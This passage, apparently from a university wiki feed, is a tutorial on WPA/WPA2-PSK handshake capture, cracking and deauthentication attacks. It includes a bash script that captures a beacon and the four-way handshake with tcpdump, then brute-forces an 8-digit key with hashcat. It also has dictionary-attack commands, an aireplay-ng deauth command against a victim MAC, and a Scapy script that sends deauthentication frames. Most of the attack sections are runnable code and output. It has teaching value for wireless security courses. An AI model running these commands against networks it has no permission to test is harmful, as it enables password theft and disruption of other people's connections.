echo &#039; # airport -s&#039;&lt;br /&gt;
airport -s&lt;br /&gt;
&lt;br /&gt;
banner &amp;quot;Enter dynamic configuration&amp;quot;&lt;br /&gt;
echo -n &amp;quot;  CHANNEL=&amp;quot;&lt;br /&gt;
read CHANNEL&lt;br /&gt;
echo -n &amp;quot;  BSSID=&amp;quot;&lt;br /&gt;
read BSSID&lt;br /&gt;
echo -n &amp;quot;  INTERFACE=&amp;quot;&lt;br /&gt;
read INTERFACE&lt;br /&gt;
&lt;br /&gt;
banner &amp;quot;Disassociate from any network&amp;quot;&lt;br /&gt;
echo &#039; # airport -z&#039;&lt;br /&gt;
airport -z&lt;br /&gt;
&lt;br /&gt;
banner &amp;quot;Set arbitrary channel on the card&amp;quot;&lt;br /&gt;
echo &#039; # airport -c$CHANNEL&#039;&lt;br /&gt;
airport -c$CHANNEL&lt;br /&gt;
echo &#039; # airport -c&#039;&lt;br /&gt;
airport -c&lt;br /&gt;
&lt;br /&gt;
banner &amp;quot;Current network configuration&amp;quot;&lt;br /&gt;
echo &#039; # airport -I&#039;&lt;br /&gt;
airport -I&lt;br /&gt;
&lt;br /&gt;
banner &amp;quot;Capture beacon frame&amp;quot;&lt;br /&gt;
echo &#039; # tcpdump &amp;quot;type mgt subtype beacon and ether src $BSSID&amp;quot; -I -c 1 -i $INTERFACE -w /tmp/beacon.cap&#039;&lt;br /&gt;
tcpdump &amp;quot;type mgt subtype beacon and ether src $BSSID&amp;quot; -I -c 1 -i $INTERFACE -w /tmp/beacon.cap&lt;br /&gt;
&lt;br /&gt;
banner &amp;quot;Capture four-way handshake&amp;quot;&lt;br /&gt;
echo &#039; # tcpdump &amp;quot;ether proto 0x888e and ether host $BSSID&amp;quot; -I -c 4 -i $INTERFACE -w /tmp/handshake.cap&#039;&lt;br /&gt;
tcpdump &amp;quot;ether proto 0x888e and ether host $BSSID&amp;quot; -I -c 4 -i $INTERFACE -w /tmp/handshake.cap&lt;br /&gt;
&lt;br /&gt;
# banner &amp;quot;Merge beacon frame and four-way handshake&amp;quot;&lt;br /&gt;
# Note: mergecap is part of wireshark&lt;br /&gt;
echo &#039; # mergecap -a -F pcap -w /tmp/capture.cap /tmp/beacon.cap /tmp/handshake.cap&#039;&lt;br /&gt;
mergecap -a -F pcap -w /tmp/capture.cap /tmp/beacon.cap /tmp/handshake.cap&lt;br /&gt;
&lt;br /&gt;
banner &amp;quot;Convert .cap file to .hccapx format to be used with hashcat&amp;quot;&lt;br /&gt;
# Note: cap2hccapx is part of hashcat-utils&lt;br /&gt;
echo &#039; # cap2hccapx /tmp/capture.cap /tmp/capture.hccapx&#039;&lt;br /&gt;
cap2hccapx /tmp/capture.cap /tmp/capture.hccapx&lt;br /&gt;
banner &amp;quot;Crack WPA-EAPOL-PBKDF2 via hashcat (TP-Link/HUAWEI optimized)&amp;quot;&lt;br /&gt;
# 00000000 - 99999999&lt;br /&gt;
echo &#039; # sudo nice -n -20 hashcat -m 2500 /tmp/capture.hccapx -a 3 ?d?d?d?d?d?d?d?d&#039;&lt;br /&gt;
sudo nice -n -20 hashcat -m 2500 /tmp/capture.hccapx -a 3 ?d?d?d?d?d?d?d?d&lt;br /&gt;
&lt;br /&gt;
banner &amp;quot;Clean up&amp;quot;&lt;br /&gt;
echo &#039; # rm /tmp/capture.cap /tmp/beacon.cap /tmp/handshake.cap /tmp/capture.hccapx&#039;&lt;br /&gt;
rm /tmp/capture.cap /tmp/beacon.cap /tmp/handshake.cap /tmp/capture.hccapx&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;airport -h&lt;br /&gt;
 Supported arguments:&lt;br /&gt;
  -c[&amp;lt;arg&amp;gt;] --channel=[&amp;lt;arg&amp;gt;]    Set arbitrary channel on the card&lt;br /&gt;
  -z        --disassociate       Disassociate from any network&lt;br /&gt;
  -I        --getinfo            Print current wireless status, e.g. signal info, BSSID, port type etc.&lt;br /&gt;
  -s[&amp;lt;arg&amp;gt;] --scan=[&amp;lt;arg&amp;gt;]       Perform a wireless broadcast scan. &lt;br /&gt;
                                 Will perform a directed scan if the optional &amp;lt;arg&amp;gt; is provided&lt;br /&gt;
  -x        --xml                Print info as XML&lt;br /&gt;
  -P        --psk                Create PSK from specified pass phrase and SSID.&lt;br /&gt;
           The following additional arguments must be specified with this command:&lt;br /&gt;
                                   --password=&amp;lt;arg&amp;gt;  Specify a WPA password&lt;br /&gt;
                                   --ssid=&amp;lt;arg&amp;gt;      Specify SSID when creating a PSK&lt;br /&gt;
  -h        --help               Show this help&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: &amp;lt;i&amp;gt;airmon-ng&amp;lt;/i&amp;gt;, &amp;lt;i&amp;gt;airodump-ng&amp;lt;/i&amp;gt; and &amp;lt;i&amp;gt;aireplay-ng&amp;lt;/i&amp;gt; don&#039;t work on mac.&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: &amp;lt;i&amp;gt;airport&amp;lt;/i&amp;gt; works exclusively on mac.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Capture Beacon ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;# Scan&lt;br /&gt;
 sudo airport -s&lt;br /&gt;
    SSID     BSSID             RSSI CHANNEL HT CC SECURITY (auth/unicast/group)&lt;br /&gt;
    ▊▊▊▊▊▊▊▊ 70:3a:cb:▊▊:▊▊:▊▊ -72  11      Y  de WPA2     (PSK/AES/AES) &lt;br /&gt;
    ▊▊▊▊▊▊▊▊ 70:3a:cb:▊▊:▊▊:▊▊ -57  1       Y  de WPA2     (PSK/AES/AES) &lt;br /&gt;
    ▊▊▊▊▊▊▊▊ 70:3a:cb:▊▊:▊▊:▊▊ -66  36      Y  de WPA2     (PSK/AES/AES)&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Capture Handshake ===&lt;br /&gt;
==== The Easy way ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;# Sniff -  Ctrl-C to stop capturing&lt;br /&gt;
sudo airport $INTERFACE sniff $CHANNEL&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: It saves the .cap capture file to /tmp and displays the path plus filename.&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;background-color: #fcf8e3; border: 1px solid #8a6d3b; color: #8a6d3b; padding: 5px 10px; margin-bottom: 5px&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Warning&amp;lt;/b&amp;gt;: With this method, you cannot be sure that a four-way handshake was recorded. See [[#Deauthentication attack|deauthentication attack]]!&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== The Good way ====&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;By using &amp;lt;i&amp;gt;airmon-ng&amp;lt;/i&amp;gt; or &amp;lt;i&amp;gt;airport&amp;lt;/i&amp;gt; a large number of unnecessary packets are captured. Also, you cannot know for sure if a handshake has been intercepted until you manually abort the scan. This process can be improved with &amp;lt;i&amp;gt;tcpdump&amp;lt;/i&amp;gt;.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;# Disassociate from any network: (-z --disassociate)&lt;br /&gt;
sudo airport -z&lt;br /&gt;
# Set arbitrary channel on the card: (-c[&amp;lt;arg&amp;gt;] --channel=[&amp;lt;arg&amp;gt;])&lt;br /&gt;
sudo airport -c$CHANNEL&lt;br /&gt;
&lt;br /&gt;
# Capture a beacon frame from the AP&lt;br /&gt;
sudo tcpdump &amp;quot;type mgt subtype beacon and ether src $BSSID&amp;quot; -I -c 1 -i $INTERFACE&amp;lt; -w beacon.cap&lt;br /&gt;
# Wait for the WPA handshake&lt;br /&gt;
sudo tcpdump &amp;quot;ether proto 0x888e and ether host $BSSID&amp;quot; -I -U -vvv -i $INTERFACE -w handshake.cap&lt;br /&gt;
&lt;br /&gt;
# Merge the two files&lt;br /&gt;
mergecap -a -F pcap -w capture.cap beacon.cap handshake.cap&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;background-color: #fcf8e3; border: 1px solid #8a6d3b; color: #8a6d3b; padding: 5px 10px; margin-bottom: 5px&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Warning&amp;lt;/b&amp;gt;: With this method, tcpdump will make sure too wait until a four-way handshake was recorded. See [[#Deauthentication attack|deauthentication attack]] for more information! A beacon should however be captured quite fast.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Crack PSK ===&lt;br /&gt;
The .cap file obtained in the previous steps can only be cracked directly with &amp;lt;i&amp;gt;aircrack-ng&amp;lt;/i&amp;gt;. But this can be done more effectively using &amp;lt;i&amp;gt;hashcat&amp;lt;/i&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;# Convert .cap to .hcapx file (Part of hashcat-utils)&lt;br /&gt;
cap2hccapx capture.cap capture.hccapx&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: Alternatively, use the tool online: https://hashcat.net/cap2hccapx/&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;# Crack using a simple dictionary attack:&lt;br /&gt;
hashcat -m 2500 capture.hccapx wordlist.txt&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: Refer to the [https://hashcat.net/wiki/doku.php?id=cracking_wpawpa2 official Hashcat documentation] for more examples and variations to crack the PSK.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Deauthentication attack ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;Use one of the methods below to force devices on the target network, if any, to de-authenticate. When re-authenticating, a &lt;br /&gt;
four-way handshake is exchanged between the client and the AP, which can be captured easily. The deauthenticated target may only remark a short network disruption, but nothing more. This attack is only feasible for WPA/WPA2 *PSK*, as WPA3 and other authentication methods are not vulnerable.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px); margin-bottom: 5px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; &amp;lt;b&amp;gt;Example&amp;lt;/b&amp;gt;: Four-Way Handshake (4WHS)&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: A four-way handshake can be analysed using Wireshark or &amp;lt;code&amp;gt;tcpdump&amp;lt;/code&amp;gt;, filtering for &amp;lt;code&amp;gt;eapol&amp;lt;/code&amp;gt; messages or better filtering for &amp;lt;code&amp;gt;ether proto 0x888e and ether host $BSSID&amp;lt;/code&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt; # link-type IEEE802_11_RADIO (802.11 plus radiotap header)&lt;br /&gt;
tcpdump &amp;quot;ether proto 0x888e and ether host $BSSID&amp;quot; -I -c 4 -i en0 -vvv -e -A -XX&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery caption=&amp;quot;&amp;quot; mode=&amp;quot;packed-hover&amp;quot; style=&amp;quot;border: 1px solid #eaecf0; background-color: white; border-radius: 3px&amp;quot; heights=400px&amp;gt;&lt;br /&gt;
image:4WH_1.png|4WHS (Message 1 of 4)&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;tsft 1.0 Mb/s 2422 MHz 11g -46dBm signal -91dBm noise antenna 0 314us CF +QoS DA:ZZ:ZZ:ZZ:ZZ:ZZ:ZZ (oui Unknown) BSSID:XX:XX:XX:XX:XX:XX (oui Unknown) SA:XX:XX:XX:XX:XX:XX (oui Unknown) LLC, dsap SNAP (0xaa) Individual, ssap SNAP (0xaa) Command, ctrl 0x03: oui Ethernet (0x000000), ethertype EAPOL (0x888e), length 99: EAPOL key (3) v1, len 95&lt;br /&gt;
  0x0000:  0000 3600 6f08 00c0 0100 0040 c46e 00fc  ..6.o......@.n..&lt;br /&gt;
  0x0010:  8165 aa01 0000 0000 1002 7609 8004 d2a5  .e........v.....&lt;br /&gt;
  0x0020:  0000 0010 1800 0300 0200 0000 0010 1803  ................&lt;br /&gt;
  0x0030:  0400 d7a9 938d 8802 3a01 40d3 ae63 32dc  ........:.@..c2.&lt;br /&gt;
  0x0040:  98da c46e 00fc 98da c46e 00fc 0000 0000  ...n.....n......&lt;br /&gt;
  0x0050:  aaaa 0300 0000 888e 0103 005f 0200 8a00  ..........._....&lt;br /&gt;
  0x0060:  1000 0000 0000 0000 01ff e614 7014 d7a9  ............p...&lt;br /&gt;
  0x0070:  6e6c 5e24 b316 59fe 535f 3c12 c4f9 59f1  nl^$..Y.S_&amp;lt;...Y.&lt;br /&gt;
  0x0080:  e125 8fce 7dc3 1325 a900 0000 0000 0000  .%..}..%........&lt;br /&gt;
  0x0090:  0000 0000 0000 0000 0000 0000 0000 0000  ................&lt;br /&gt;
  0x00a0:  0000 0000 0000 0000 0000 0000 0000 0000  ................&lt;br /&gt;
  0x00b0:  0000 0000 0000 0000 0000 0041 e6a6 5d    ...........A..]&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery caption=&amp;quot;&amp;quot; mode=&amp;quot;packed-hover&amp;quot; style=&amp;quot;border: 1px solid #eaecf0; background-color: white; border-radius: 3px&amp;quot; heights=530px&amp;gt;&lt;br /&gt;
image:4WH_2.png|4WHS (Message 2 of 4)&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;tsft 1.0 Mb/s 2422 MHz 11g -20dBm signal -91dBm noise antenna 0 314us CF +QoS BSSID:XX:XX:XX:XX:XX:XX (oui Unknown) SA:ZZ:ZZ:ZZ:ZZ:ZZ:ZZ (oui Unknown) DA:XX:XX:XX:XX:XX:XX (oui Unknown) LLC, dsap SNAP (0xaa) Individual, ssap SNAP (0xaa) Command, ctrl 0x03: oui Ethernet (0x000000), ethertype EAPOL (0x888e), length 121: EAPOL key (3) v1, len 117&lt;br /&gt;
  0x0000:  0000 3600 6f08 00c0 0100 0040 c46e 00fc  ..6.o......@.n..&lt;br /&gt;
  0x0010:  1a76 aa01 0000 0000 1002 7609 8004 eca5  .v........v.....&lt;br /&gt;
  0x0020:  0001 0010 1800 0300 0200 0000 0010 1803  ................&lt;br /&gt;
  0x0030:  0400 4355 fdb7 8801 3a01 98da c46e 00fc  ..CU....:....n..&lt;br /&gt;
  0x0040:  40d3 ae63 32dc 98da c46e 00fc 0000 0600  @..c2....n......&lt;br /&gt;
  0x0050:  aaaa 0300 0000 888e 0103 0075 0201 0a00  ...........u....&lt;br /&gt;
  0x0060:  0000 0000 0000 0000 01bc 67eb 5bfb 4355  ..........g.[.CU&lt;br /&gt;
  0x0070:  f0cc b3f9 bfe5 609d 611e b79f 7451 ccb8  ......`.a...tQ..&lt;br /&gt;
  0x0080:  841c 7d17 dde7 0c47 3300 0000 0000 0000  ..}....G3.......&lt;br /&gt;
  0x0090:  0000 0000 0000 0000 0000 0000 0000 0000  ................&lt;br /&gt;
  0x00a0:  0000 0000 0000 0000 0051 17b2 89fc 6428  .........Q....d(&lt;br /&gt;
  0x00b0:  2564 ab92 3571 a67f af00 1630 1401 0000  %d..5q.....0....&lt;br /&gt;
  0x00c0:  0fac 0401 0000 0fac 0401 0000 0fac 0200  ................&lt;br /&gt;
  0x00d0:  0010 afc4 e7                             .....&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery caption=&amp;quot;&amp;quot; mode=&amp;quot;packed-hover&amp;quot; style=&amp;quot;border: 1px solid #eaecf0; background-color: white; border-radius: 3px&amp;quot; heights=400px&amp;gt;&lt;br /&gt;
image:4WH_3.png|4WHS (Message 3 of 4)&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;tsft 1.0 Mb/s 2422 MHz 11g -46dBm signal -91dBm noise antenna 0 314us CF +QoS DA:ZZ:ZZ:ZZ:ZZ:ZZ:ZZ (oui Unknown) BSSID:XX:XX:XX:XX:XX:XX (oui Unknown) SA:XX:XX:XX:XX:XX:XX (oui Unknown) LLC, dsap SNAP (0xaa) Individual, ssap SNAP (0xaa) Command, ctrl 0x03: oui Ethernet (0x000000), ethertype EAPOL (0x888e), length 155: EAPOL key (3) v1, len 151&lt;br /&gt;
  0x0000:  0000 3600 6f08 00c0 0100 0040 c46e 00fc  ..6.o......@.n..&lt;br /&gt;
  0x0010:  6f80 aa01 0000 0000 1002 7609 8004 d2a5  o.........v.....&lt;br /&gt;
  0x0020:  0013 0010 1800 0300 0200 0000 0010 1803  ................&lt;br /&gt;
  0x0030:  0400 d7a9 e7e8 8802 3a01 40d3 ae63 32dc  ........:.@..c2.&lt;br /&gt;
  0x0040:  98da c46e 00fc 98da c46e 00fc 1000 0000  ...n.....n......&lt;br /&gt;
  0x0050:  aaaa 0300 0000 888e 0103 0097 0213 ca00  ................&lt;br /&gt;
  0x0060:  1000 0000 0000 0000 02ff e614 7014 d7a9  ............p...&lt;br /&gt;
  0x0070:  6e6c 5e24 b316 59fe 535f 3c12 c4f9 59f1  nl^$..Y.S_&amp;lt;...Y.&lt;br /&gt;
  0x0080:  e125 8fce 7dc3 1325 a900 0000 0000 0000  .%..}..%........&lt;br /&gt;
  0x0090:  0000 0000 0000 0000 0000 0100 0000 0000  ................&lt;br /&gt;
  0x00a0:  0000 0000 0000 0000 00e4 ef65 1d4f f0c1  ...........e.O..&lt;br /&gt;
  0x00b0:  62be d858 a5ed dab9 bf00 38de c04c 2c9d  b..X......8..L,.&lt;br /&gt;
  0x00c0:  9696 fe73 cfd1 8927 51cd 07ed f4ee c8a4  ...s...&#039;Q.......&lt;br /&gt;
  0x00d0:  8e5b 96a4 733a d9dc 6c0c e352 f3a2 f1c6  .[..s:..l..R....&lt;br /&gt;
  0x00e0:  4a7a 2fde e3d3 9d29 e8ea 169e 551e 73b3  Jz/....)....U.s.&lt;br /&gt;
  0x00f0:  43f9 a8a8 bc98 d2                        C......&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery caption=&amp;quot;&amp;quot; mode=&amp;quot;packed-hover&amp;quot; style=&amp;quot;border: 1px solid #eaecf0; background-color: white; border-radius: 3px&amp;quot; heights=400px&amp;gt;&lt;br /&gt;
image:4WH_4.png|4WHS (Message 4 of 4)&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;tsft 1.0 Mb/s 2422 MHz 11g -20dBm signal -91dBm noise antenna 0 314us CF +QoS BSSID:XX:XX:XX:XX:XX:XX (oui Unknown) SA:ZZ:ZZ:ZZ:ZZ:ZZ:ZZ (oui Unknown) DA:XX:XX:XX:XX:XX:XX (oui Unknown) LLC, dsap SNAP (0xaa) Individual, ssap SNAP (0xaa) Command, ctrl 0x03: oui Ethernet (0x000000), ethertype EAPOL (0x888e), length 99: EAPOL key (3) v1, len 95&lt;br /&gt;
  0x0000:  0000 3600 6f08 00c0 0100 0040 c46e 00fc  ..6.o......@.n..&lt;br /&gt;
  0x0010:  cc8d aa01 0000 0000 1002 7609 8004 eca5  ..........v.....&lt;br /&gt;
  0x0020:  0003 0010 1800 0300 0200 0000 0010 1803  ................&lt;br /&gt;
  0x0030:  0400 0000 938d 8801 3a01 98da c46e 00fc  ........:....n..&lt;br /&gt;
  0x0040:  40d3 ae63 32dc 98da c46e 00fc 1000 0600  @..c2....n......&lt;br /&gt;
  0x0050:  aaaa 0300 0000 888e 0103 005f 0203 0a00  ..........._....&lt;br /&gt;
  0x0060:  0000 0000 0000 0000 0200 0000 0000 0000  ................&lt;br /&gt;
  0x0070:  0000 0000 0000 0000 0000 0000 0000 0000  ................&lt;br /&gt;
  0x0080:  0000 0000 0000 0000 0000 0000 0000 0000  ................&lt;br /&gt;
  0x0090:  0000 0000 0000 0000 0000 0000 0000 0000  ................&lt;br /&gt;
  0x00a0:  0000 0000 0000 0000 0009 4d26 1f94 47b2  ..........M&amp;amp;..G.&lt;br /&gt;
  0x00b0:  8fcb 0e44 a9b7 3cea 4500 002c f10f 7c    ...D..&amp;lt;.E..,..|&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;background-color: #fcf8e3; border: 1px solid #8a6d3b; color: #8a6d3b; padding: 5px 10px; margin-bottom: 5px&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Warning&amp;lt;/b&amp;gt;: Deauther are often mistakenly described as a jammer, even though that is not the case.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Aircrack-ng ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;aireplay-ng -0 1 -a $BSSID -c $VICTIM_MAC wlan0mon&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Scapy ===&lt;br /&gt;
&lt;br /&gt;
Use this automated [https://github.com/veerendra2/wifi-deauth-attack script] using &amp;lt;code&amp;gt;aircrack-ng&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;scapy&amp;lt;/code&amp;gt;. Alternatively use &amp;lt;code&amp;gt;scapy&amp;lt;/code&amp;gt; to manually execute a deauthentication attack, as shown below.&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;# Configuration&lt;br /&gt;
station = &amp;quot;ff:ff:ff:ff:ff:ff&amp;quot;&lt;br /&gt;
bssid = &amp;quot;00:00:00:00:00:00&amp;quot;&lt;br /&gt;
interface = &amp;quot;wlan0mon&amp;quot;&lt;br /&gt;
&lt;br /&gt;
# Craft and send 802.11 frame&lt;br /&gt;
dot11 = Dot11(addr1=station, addr2=bssid, addr3=bssid)&lt;br /&gt;
packet = RadioTap()/dot11/Dot11Deauth(reason=7)&lt;br /&gt;
sendp(packet, inter=0.1, count=1, iface=interface, verbose=1)&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: &amp;lt;code&amp;gt;$STA&amp;lt;/code&amp;gt; may be &amp;lt;code&amp;gt;ff:ff:ff:ff:ff:ff&amp;lt;/code&amp;gt;. MAC’s must be lowercase!&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== D-Stike Deauther ===&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;D-Stike provides a range of ESP8266 based development board, which come installed with the latest ESP8266 Deauther software developed by Spacehuhn. The source code is availabel on Github. With this software, you can perform different attacks to test WiFi networks. One of them is the deauthentication attack. &amp;lt;/p&amp;gt;&lt;br /&gt;
* https://github.com/spacehuhn/esp8266_deauther&lt;br /&gt;
&lt;br /&gt;
=== Other tools ===&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;JamWiFi is a Software with GUI, which allows you to select one or more nearby wireless networks, thereupon presenting a list of clients which are currently active on the network(s). Furthermore, JamWiFi allows you to disconnect clients by performing a deauthentication attack.&amp;lt;/p&amp;gt;&lt;br /&gt;
* https://github.com/unixpickle/JamWiFi&lt;br /&gt;
* https://github.com/0x0XDev/JamWiFi&lt;br /&gt;
&lt;br /&gt;
= Used Hardware =&lt;br /&gt;
&lt;br /&gt;
* Notebook, Ubuntu 18.04 bionic amd64, Intel Wireless (Intel AC-7260)&lt;br /&gt;
* Lenovo Thinkpad X1 Yoga G2, Kali Linux 2020.4, Intel Wireless (Intel AC-8265)&lt;br /&gt;
* MacBook Pro (15-inch, 2017), macOS 10.14.6, Airport Extreme (Broadcom BCM43xx)&lt;br /&gt;
* MacBook Pro (16-inch, 2019), macOS 11.1, Airport Extreme (Broadcom BCM4364)&lt;br /&gt;
* [[DSTIKE Deauther Watch V1]]&lt;br /&gt;
&lt;br /&gt;
= Courses =&lt;br /&gt;
&lt;br /&gt;
* [[Campus Cyber Security Team]] WiFi Hacking 21.06.2019 &lt;br /&gt;
&lt;br /&gt;
= References =&lt;br /&gt;
&lt;br /&gt;
* https://www.aircrack-ng.org/doku.php?id=cracking_wpa (Accessed 10. April 2020)&lt;br /&gt;
* https://www.aircrack-ng.org/doku.php#aircrack-ng_suite1 (Accessed 10. April 2020)&lt;br /&gt;
* https://www.netspotapp.com/wifi-encryption-and-security.html (Accessed 10. April 2020)&lt;br /&gt;
* https://louisabraham.github.io/articles/WPA-wifi-cracking-MBP.html (Accessed 10. April 2020)&lt;br /&gt;
* http://www.saltwaterc.eu/capturing-wpa-handshakes-with-os-x.html (Accessed 10. April 2020)&lt;br /&gt;
* https://github.com/brannondorsey/wifi-cracking (Accessed 10. April 2020)&lt;br /&gt;
* https://hashcat.net/cap2hccapx/ (Accessed 10. April 2020)&lt;br /&gt;
* https://hashcat.net/wiki/doku.php?id=cracking_wpawpa2 (Accessed 10. April 2020)&lt;br /&gt;
* https://github.com/derv82/wifite2 (Accessed 20. January 2021)&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;/div&gt;</summary>
		<author><name>JPDoe</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=WPA/WPA2_PSK_deauthentication_attack&amp;diff=5855</id>
		<title>WPA/WPA2 PSK deauthentication attack</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=WPA/WPA2_PSK_deauthentication_attack&amp;diff=5855"/>
		<updated>2021-01-20T17:59:39Z</updated>

		<summary type="html">&lt;p&gt;JPDoe: Added 4WH example&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&amp;lt;div style=&amp;quot;max-width: 970px&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;font-weight: normal;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; Table of Contents&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
__TOC__&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Summary = &lt;br /&gt;
&lt;br /&gt;
